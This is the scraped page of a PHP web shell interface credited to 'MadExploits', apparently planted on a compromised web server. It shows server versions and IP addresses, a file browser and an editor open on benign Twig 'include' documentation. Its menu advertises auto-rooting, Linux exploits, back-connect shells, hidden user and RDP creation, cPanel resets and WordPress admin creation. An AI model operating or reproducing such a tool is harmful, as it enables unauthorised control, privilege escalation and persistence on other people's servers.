Linux server.kiran-academy.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
: 194.233.91.196 | : 216.73.216.216
Cant Read [ /etc/named.conf ]
7.4.32
finalho
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
local /
cwpsrv /
var /
services /
twig /
doc /
tags /
[ HOME SHELL ]
Name
Size
Permission
Action
autoescape.rst
1.65
KB
-rw-r--r--
block.rst
448
B
-rw-r--r--
do.rst
177
B
-rw-r--r--
embed.rst
6.84
KB
-rw-r--r--
extends.rst
7.19
KB
-rw-r--r--
filter.rst
463
B
-rw-r--r--
flush.rst
218
B
-rw-r--r--
for.rst
4.46
KB
-rw-r--r--
from.rst
275
B
-rw-r--r--
if.rst
1.92
KB
-rw-r--r--
import.rst
1.72
KB
-rw-r--r--
include.rst
2.47
KB
-rw-r--r--
index.rst
238
B
-rw-r--r--
macro.rst
2.61
KB
-rw-r--r--
sandbox.rst
764
B
-rw-r--r--
set.rst
1.64
KB
-rw-r--r--
spaceless.rst
1.14
KB
-rw-r--r--
use.rst
3.18
KB
-rw-r--r--
verbatim.rst
367
B
-rw-r--r--
with.rst
1.07
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : include.rst
``include`` =========== The ``include`` statement includes a template and returns the rendered content of that file into the current namespace: .. code-block:: jinja {% include 'header.html' %} Body {% include 'footer.html' %} Included templates have access to the variables of the active context. If you are using the filesystem loader, the templates are looked for in the paths defined by it. You can add additional variables by passing them after the ``with`` keyword: .. code-block:: jinja {# template.html will have access to the variables from the current context and the additional ones provided #} {% include 'template.html' with {'foo': 'bar'} %} {% set vars = {'foo': 'bar'} %} {% include 'template.html' with vars %} You can disable access to the context by appending the ``only`` keyword: .. code-block:: jinja {# only the foo variable will be accessible #} {% include 'template.html' with {'foo': 'bar'} only %} .. code-block:: jinja {# no variables will be accessible #} {% include 'template.html' only %} .. tip:: When including a template created by an end user, you should consider sandboxing it. More information in the :doc:`Twig for Developers<../api>` chapter and in the :doc:`sandbox<../tags/sandbox>` tag documentation. The template name can be any valid Twig expression: .. code-block:: jinja {% include some_var %} {% include ajax ? 'ajax.html' : 'not_ajax.html' %} And if the expression evaluates to a ``Twig_Template`` or a ``Twig_TemplateWrapper`` instance, Twig will use it directly:: // {% include template %} $template = $twig->load('some_template.twig'); $twig->display('template.twig', array('template' => $template)); You can mark an include with ``ignore missing`` in which case Twig will ignore the statement if the template to be included does not exist. It has to be placed just after the template name. Here some valid examples: .. code-block:: jinja {% include 'sidebar.html' ignore missing %} {% include 'sidebar.html' ignore missing with {'foo': 'bar'} %} {% include 'sidebar.html' ignore missing only %} You can also provide a list of templates that are checked for existence before inclusion. The first template that exists will be included: .. code-block:: jinja {% include ['page_detailed.html', 'page.html'] %} If ``ignore missing`` is given, it will fall back to rendering nothing if none of the templates exist, otherwise it will throw an exception.
Close